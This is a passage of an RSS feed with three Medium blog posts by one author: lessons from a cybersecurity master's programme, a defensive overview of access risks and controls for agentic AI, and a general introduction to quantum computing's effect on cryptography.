            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*55qaX7vWKBYlUg9W" /><figcaption>Photo by <a href="https://unsplash.com/@praveentcom?utm_source=medium&amp;utm_medium=referral">Praveen Thirumurugan</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Starting a master’s degree in cybersecurity is both exciting and intimidating. This field is unlike any other, it is constantly evolving, critically important and full of opportunities. Something that is relevant today, may not be relevant tomorrow. However, there are some things I wish I understood prior to starting my master’s course, which would have saved me frustration and confusion.</p><p>Weather you’re in undergrad, postgrad, transitioning from another field or just leveling up your career, understanding what lies ahead can make a lot of difference. Cybersecurity isn’t just about hacking systems and writing malicious code; it is a multidisciplinary domain that not only demands technical skills, but also strategic thinking, attention to detail, patience and resilience.</p><p>In this post, I will be sharing some of the lessons I learned along the way. From navigating the overwhelming breadth of the field to managing burnouts and imposter syndrome, these are some the insights I wish I knew before starting my journey. Let’s begin.</p><h3>Some Common Learnings</h3><h4>Underestimating How Broad the Domain is</h4><p>I always knew cybersecurity is a domain that is vast, however I didn’t truly understand just how diverse it it until I started my course. Cybersecurity isn’t a single skill domain, but it is more of an umbrella that covers dozens of interconnected areas.</p><figure><img alt="The Map of Cybersecurity Domains (version 2.0) by Henry Jiang" src="https://cdn-images-1.medium.com/max/1024/1*EWXty5jyqFhRZM1NtgOKuQ.jpeg" /><figcaption>Henry Jiang, “<strong>The Map of Cybersecurity Domains (version 2.0)</strong>”, [Online] <a href="https://www.linkedin.com/pulse/map-cybersecurity-domains-version-20-henry-jiang-ciso-cissp/">https://www.linkedin.com/pulse/map-cybersecurity-domains-version-20-henry-jiang-ciso-cissp/</a></figcaption></figure><p>From compliance (GRC), security training, risk management to security operations, access management to digital forensics, incident response, malware and reverse engineering, the domain is incredibly rich and expansive. Then there are emerging areas like cloud security, AI security, and blockchain security that are rapidly coming up. This is what makes this domain truly beautiful. As I like to think, cybersecurity is a lot about creativity and innovation than anything else.</p><p>That being said, it was a little surprising knowing you can’t master each and every sub-domain. It felt overwhelming keeping up with every topic, thinking I needed to know it all. But in reality, cybersecurity professionals specialize. Some focusing on offensive security, some on defensive security, and some working in entirely governance and law, without touching any technical tools.</p><p>Understanding this breadth early on helps you make informed decisions about where to focus your energy and which career path aligns with your interests and strengths.</p><h4>Overvaluing Certifications or Completely Ignoring Them</h4><p>Certifications in cybersecurity can be polarizing. Some would say they are crucial for career growth, meanwhile some would disagree to the same. The truth lies somewhere in the middle.</p><p>On one hand, certifications like Security+, OSCP or CISSP can validate your knowledge, helping you stand out to recruiters and are sometimes required for certain roles. They come with a structured learning path and test commitment to the field.</p><p>On the other hand, certifications alone won’t make you a skilled professional. Hands-on experience, problem-solving ability, and practical knowledge is just as important, if not more. Some of the best professionals I’ve met don’t have a wall of certifications; instead they have years of real world experience and prioritize continuous learning.</p><p>I wish I had realized that certifications are supposed to compliment your learning and not doing enough could put me at a disadvantage. Although they shouldn’t be a primary focus, they are important tools to help prove competency to potential recruiters. Finding the right balance between certifications, labs, projects and CTF competitions is crucial and something I wish I had understood before.</p><p>People, including myself, might feel pressured to collect certifications just because everyone has them. It is important to not fall into this trap and choose the ones that align with your career goals that would genuinely help you grow in the desired field.</p><h4>Not Taking Enough Action</h4><p>One of the biggest mistake I have made is spending too much time reading and not enough time doing. Cybersecurity is a hands-on field, and there is only so much theoretical knowledge you can gain. Additionally, this theoretical knowledge alone won’t prepare you for real-world challenges.</p><p>I would read about vulnerabilities and security tools, but I didn’t spend enough time actually trying them out. When the time came to apply what I learned, I often felt lost because I lacked the practical experience. I realized only by trying them, failing at them, would you be able to truly understand how things work.</p><p>Platforms like TryHackMe, Hack The Box and PortSwigger Academy offer excellent opportunities to learn and practice in safe and controlled environments. They offer free modules and walkthroughs that are well structured and easy to navigate. Building personal projects, setting up virtual and vulnerable machines are also invaluable ways to reinforce learning.</p><p>I wish I had prioritized hands-on practice from day one. The more consistent you are with doing, whether it is writing scripts, analyzing logs and alerts, testing systems for vulnerabilities, the more confident and competent you become. It is easy to fall into the loop of content consumption. Get your hands dirty, make mistakes, troubleshoot issues, and learn by doing. That’s where the real growth happens.</p><h3>Some Uncommon Learnings</h3><h4>Undervaluing Soft Skills and Communication</h4><p>When I first started with my master’s in cybersecurity, I overvalued technical skills and assumed they were all that mattered. I thought if I could find vulnerabilities and hack into systems, I would be set. But I was quickly humbled by the fact that communication and presentation skills are just as crucial, if not more, in many cybersecurity. This just proved how much non-technical skills work in tandem with technical skills in cybersecurity.</p><p>Professionals rarely work in isolation. You often need to explain complex technical terminologies to non-technical stakeholders, write clear incident reports, present findings to management and collaborate with cross-functional teams. A vulnerability assessment is only valuable if you can communicate its impact and remediations effectively.</p><p>I struggled initially as I focused heavily on improving my technical skills and neglected developing my ability to articulate ideas clearly. Whether it is writing an incident response, creating awareness trainings, communication is at the core of effective cybersecurity work.</p><p>Additionally, skills like patience and active listening are crucial, especially when working with stakeholders who may not be as technically sound as you or when responding to incidents where the environment is tensed.</p><p>Although improving on it, I wish I had started working on my writing, speaking and presentation much earlier. These abilities not only make you more effective in your role but also open doors to leadership positions and consulting opportunities.</p><h4>Underestimating the Effects of Plagiarism and Poor Referencing</h4><p>Plagiarism and proper referencing might seem like minor academic concerns, but they carry serious consequences in a master’s program. I didn’t fully appreciate this until I went through the rules and regulations and consequences of not complying to the same. These rules were also applied to how much AI-assisted or AI-generated content we can use to assist us with the assignments. Which I think is crucial, as it pushes your brain to actually think for solutions and not solely rely on AI systems for help.</p><p>In any research heavy coursework, properly citing sources isn’t just about avoiding academic misconduct; it’s about credibility, professional integrity, and building on the work of others responsibly. I didn’t realize how simple it is to unintentionally plagiarize when paraphrasing incorrectly or failing to give credit where credit is due. In academic and professional contexts, it can be troublesome to even use code snippets from Stack Overflow or GitHub without giving due credit.</p><p>Additionally, poor referencing habits can undermine the quality of your work. When you fail to cite properly, you lose the opportunity to demonstrate the depth of your research and the credibility of your arguments. In professional reports, this can weaken your findings and reduce trust in your analysis.</p><p>Having already written a research paper, I had some experience with different citation styles, especially the IEEE format, however I wish I had taken the time early on to learn about the importance and the weight of doing so.</p><h4>Not Realizing Burnout and Imposter Syndrome are Common</h4><p>Because cybersecurity is a fast-paced and intellectually demanding, burnout is surprisingly widespread, particularly in master’s programs. I had no idea how cognitively taxing it would be to continuously pick up new ideas, stay on top of new dangers, and balance assignments, labs, and certifications all at once.</p><p>There were moments when I felt totally exhausted, unable to take in new knowledge. Thinking that rest was a luxury I couldn’t afford, I pushed through without stopping. In reality, this strategy was ineffective and caused my performance and learning to deteriorate.</p><p>The only solution to this was to accept the fact that burnout isn’t a sign of weakness; it’s a natural response to prolonged stress and overwork. Although not completely aware, I am trying to be mindful of signs like loss of motivation, trouble focusing and trying to find proactive steps to deal with them. This might mean setting boundaries, taking frequent breaks, maintaining a positive work-life balance, or just giving yourself time to disconnect and recharge.</p><p>Similar to burnout is imposter syndrome, which is the constant feeling that you’re not good enough, or simply the feeling of falling behind. I have experienced this constantly, not only during my master’s program, but prior to that as well; especially when you see talented peers who seemed to know and have achieved more than you. I would compare myself to others and feel inadequate, forgetting that everyone is different having different strengths.</p><p>I came across a post on reddit that discussed on this issue, and almost everyone in the discussion agreed to the fact that imposter syndrome is incredibly common in cybersecurity. I realized even experienced professionals could encounter technologies and situations they’re unfamiliar with.</p><h4>Underestimating the Value of Time</h4><p>Although being very punctual to time, I still somehow underestimated its importance. I underestimated on how I could juggle everything, from coursework, labs, projects and daily routine work. The lack of time management led to unnecessary stress and missed opportunities.</p><p>I also didn’t account for how quickly time passes when you’re deep into technical work. What I thought would take an hour often took three or four, especially when troubleshooting issues. Accounting for the buffer time into my schedule would have saved me from many late nights and deadline scrambles.</p><p>Additionally, I wish I had been more intentional about how I spent my free time. Instead of mindlessly scrolling through social media or watching videos, I could have used those moments to rest properly, pursue hobbies, or invest in relationships. True downtime is essential for maintaining mental health and creativity, but it needs to be purposeful.</p><h3>Conclusion</h3><p>In conclusion, these were some of the core points that I wish I had known before I started my master’s degree. In the grand scheme of things, I have had the most fun in pursuing this degree and finding out more about my strengths.</p><p>In my opinion, many of these lessons would be applicable to anyone who is either just starting out in cybersecurity or simply upskilling themselves in it. I hope my experience helps you take away something valuable, or at least gives you a sense of what the journey can look like.</p><p><em>*Acknowledgement: Parts of this post were prepared with the assistance of QuillBot’s Paraphrasing Tool, used for improved grammatical writing and clarity.*</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3edec20d428e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Much Access is Too Much Access?]]></title>
            <link>https://medium.com/@abhang.mandwale/how-much-access-is-too-much-access-70fc5186d2eb?source=rss-18505c0a900------2</link>
            <guid isPermaLink="false">https://medium.com/p/70fc5186d2eb</guid>
            <category><![CDATA[access-control]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[agentic-ai]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Abhang Mandwale]]></dc:creator>
            <pubDate>Sun, 07 Sep 2025 13:14:31 GMT</pubDate>
            <atom:updated>2025-09-07T13:14:31.348Z</atom:updated>
            <content:encoded><![CDATA[<p>In the rapidly evolving landscape of artificial intelligence, agentic AI has emerged as one of the most fascinating and powerful advancements. But with this power comes the need to reconsider how much access and autonomy we’re willing to give AI systems, especially when they act on our behalf. In this blog, we will not only learn what AI agents are capable of, but also some potential security risks. We will also be looking into some of the mitigation steps to help build secure systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aFYuc91mFcT4SKv3" /><figcaption>Photo by <a href="https://unsplash.com/@vukburga?utm_source=medium&amp;utm_medium=referral">vuk burgic</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>What is Agentic AI?</h4><p>Agentic AI refers to artificial intelligence systems designed to act autonomously on behalf of users to accomplish specific tasks. Unlike traditional AI that simply responds to direct inputs, agentic AI can:</p><ul><li>Plan and execute complex sequences of actions</li><li>Make decisions with minimal human supervision</li><li>Interact with various tools, applications, and services</li><li>Adapt strategies based on changing circumstances</li></ul><p>These systems use large language models (LLMs) as their foundation but extend their capabilities with tool use, memory systems, and planning algorithms to create persistent software entities that can handle complex workflows autonomously.</p><p>Examples of agentic AI include personal assistants that can book travel arrangements, research assistants that can gather and synthesize information across multiple sources, and automated customer service agents that can resolve issues through multiple steps without human intervention.</p><h4>What is Agentic AI not?</h4><p>Despite their advanced capabilities, it’s important to understand what agentic AI is not:</p><ul><li><strong>Not fully conscious or sentient</strong>: While they can simulate understanding and execute complex tasks, they don’t possess consciousness or true understanding.</li><li><strong>Not general-purpose intelligence</strong>: They are specialized systems designed for specific domains and tasks, not AGI (Artificial General Intelligence).</li><li><strong>Not capable of truly creative or novel thought</strong>: They operate within the boundaries of their training data and programming.</li><li><strong>Not inherently autonomous decision-makers</strong>: Their autonomy is constrained by pre-defined parameters, permissions, and the scope of their design.</li><li><strong>Not replacements for human judgment</strong>: They lack ethical reasoning, emotional intelligence, and contextual understanding that humans bring to complex decisions.</li></ul><h4>The Risk</h4><p>Giving AI agents access to critical resources, such as authentication mechanisms and user data, can expose businesses and individuals to severe security risks. A single compromise for overprivileged agent with excessive permissions could result in massive unauthorized data access, destructive actions, or critical outages. Some of the other key concern points are:</p><ul><li><strong>Prompt Injection</strong>: Malicious actors can craft inputs that manipulate agent goals, causing them to reveal secrets, bypass controls, or take harmful actions.</li><li><strong>Lateral Propagation</strong>: Compromised agents may influence or mislead other agents, escalating isolated issues into broader systemic failures, especially in multi-agent ecosystems.</li><li><strong>Shadow &amp; Unauthorized AI Agents</strong>: Untracked or unsanctioned AI agents can operate with no oversight, introducing hidden attack surfaces and bypassing enterprise controls.</li><li><strong>Ambiguous Intent</strong>: The similarity between legitimate and malicious AI activities makes it hard to distinguish abuse, complicating detection and response.</li></ul><h4>The Solution</h4><p>Given the potential risks associated with agentic AI, it’s essential to implement robust security practices when granting AI agents the power to authenticate on a user’s behalf. To safely allow the same, make sure these principles and mechanisms are employed:</p><ul><li><strong>Explicit Human Authorization</strong>: Human users providing explicit authentication and authorization before the agent acts on their behalf, often through multi-factor or biometric verification. This human-in-the-loop approach ensures sensitive or high-risk actions are approved by the user.</li><li><strong>Scoped and Auditable Permissions</strong>: The AI agent operating under explicitly scoped, auditable, and time-bound credentials that define the exact permissions it has. This access is granted through secure delegation frameworks such as OAuth 2.1, which issue temporary, narrowly scoped tokens instead of sharing full user credentials.</li><li><strong>Continuous Monitoring and Identity Validation</strong>: Continuous identity validation and just-in-time authorization help maintain security, with the agent’s operations logged comprehensively for auditability and accountability.</li></ul><h4>Conclusion</h4><p>Agentic AI is undoubtedly a game-changer, bringing unprecedented convenience and efficiency to many aspects of our lives and businesses. However, as we increasingly rely on these systems to act on our behalf, it is crucial to recognize the risks involved and take proactive steps to mitigate them.</p><p>In the end, to answer the question at hand: <strong>How much access is too much access?</strong> The answer lies in the careful implementation of secure practices that keep both user data and system integrity intact. In a world where the development of AI is skyrocketing, it is us who should ensure to use these capabilities responsibly.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70fc5186d2eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quantum Computers & its Potential Impact on Cybersecurity]]></title>
            <link>https://medium.com/@abhang.mandwale/quantum-computers-its-potential-impact-on-cybersecurity-e059c3db7a89?source=rss-18505c0a900------2</link>
            <guid isPermaLink="false">https://medium.com/p/e059c3db7a89</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[quantum-computing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abhang Mandwale]]></dc:creator>
            <pubDate>Thu, 05 Jan 2023 06:44:22 GMT</pubDate>
            <atom:updated>2023-01-05T06:45:33.930Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xrL1LbvyQYdEKqrJt5nYzg.jpeg" /></figure><p>Quantum computers have the potential to revolutionize many fields, including cybersecurity. While traditional computers use bits to store and process information, quantum computers use quantum bits, or qubits. This allows them to perform certain calculations much faster than traditional computers, making them a potential threat to current cryptographic methods. In this blog post, we will take a closer look at quantum computing and its potential impact on cybersecurity.</p><p><strong>What is quantum computing?</strong></p><p>Quantum computers are a relatively new type of computer that uses the principles of quantum mechanics to perform calculations. Unlike traditional computers, which use bits to store and process information, quantum computers use quantum bits, or qubits. This allows them to perform certain calculations much faster than traditional computers, making them a potential threat to current cryptographic methods.</p><p><strong>The potential impact of quantum computing on cybersecurity</strong></p><p>One of the main potential impacts of quantum computing on cybersecurity is the threat it poses to current cryptographic methods. Cryptographic methods are used to protect information from being accessed by unauthorized parties, and they are a key component of cybersecurity. However, many of these methods rely on mathematical problems that are hard to solve using traditional computers, but that could potentially be solved using quantum computers. This could make current cryptographic methods vulnerable to attack by quantum computers, and there is a risk that sensitive information could be accessed by unauthorized parties.</p><p>To address this potential threat, researchers are working on developing quantum-resistant cryptographic methods. There are several new quantum-safe cryptographic algorithms that have been developed in recent years. These algorithms are designed to be resistant to attacks by quantum computers, and they are expected to play a key role in the future of cybersecurity.</p><p>Some examples of quantum-safe cryptographic algorithms include:</p><ol><li>Hash-Based Signatures: These algorithms use hash functions to create digital signatures that are resistant to attack by quantum computers.</li><li>Lattice-Based Cryptography: These algorithms use the structure of lattices (arrays of points in a multidimensional space) to create cryptographic keys.</li><li>Multivariate Cryptography: These algorithms use mathematical equations with multiple variables to create cryptographic keys.</li><li>Code-Based Cryptography: These algorithms use error-correcting codes to create cryptographic keys.</li></ol><p>These are just a few examples, and there are many other quantum-safe cryptographic algorithms that have been developed. It is important to note that quantum computers are still in the early stages of development, and it is likely that new quantum-safe cryptographic algorithms will be developed in the future.</p><p><strong>Future Scope</strong></p><p>One area of focus will be the development of new quantum-safe cryptographic algorithms. These algorithms will use advanced mathematical techniques to create cryptographic keys that are resistant to attack by quantum computers. It is likely that a variety of different approaches will be explored, including hash-based signatures, lattice-based cryptography, multivariate cryptography, and code-based cryptography.</p><p>Another area of focus will be the implementation of quantum-safe cryptographic methods in a variety of different applications. This will require the development of new protocols and standards to ensure that these methods are used consistently and effectively.</p><p>There will also be a need for research into the security of quantum computers themselves. As quantum computers become more powerful, it is likely that new vulnerabilities will be discovered, and there will be a need for strategies to address these vulnerabilities.</p><p><strong>Conclusion</strong></p><p>Quantum computers have the potential to revolutionize many fields, including cybersecurity. While they offer the promise of much faster and more powerful computers, they also pose a threat to current cryptographic methods. To address this potential threat, researchers are working on developing quantum-resistant cryptographic methods, which are expected to play a key role in the future of cybersecurity. It is important that organizations and individuals stay informed about the latest developments in quantum computing and take steps to protect themselves against potential threats.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e059c3db7a89" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>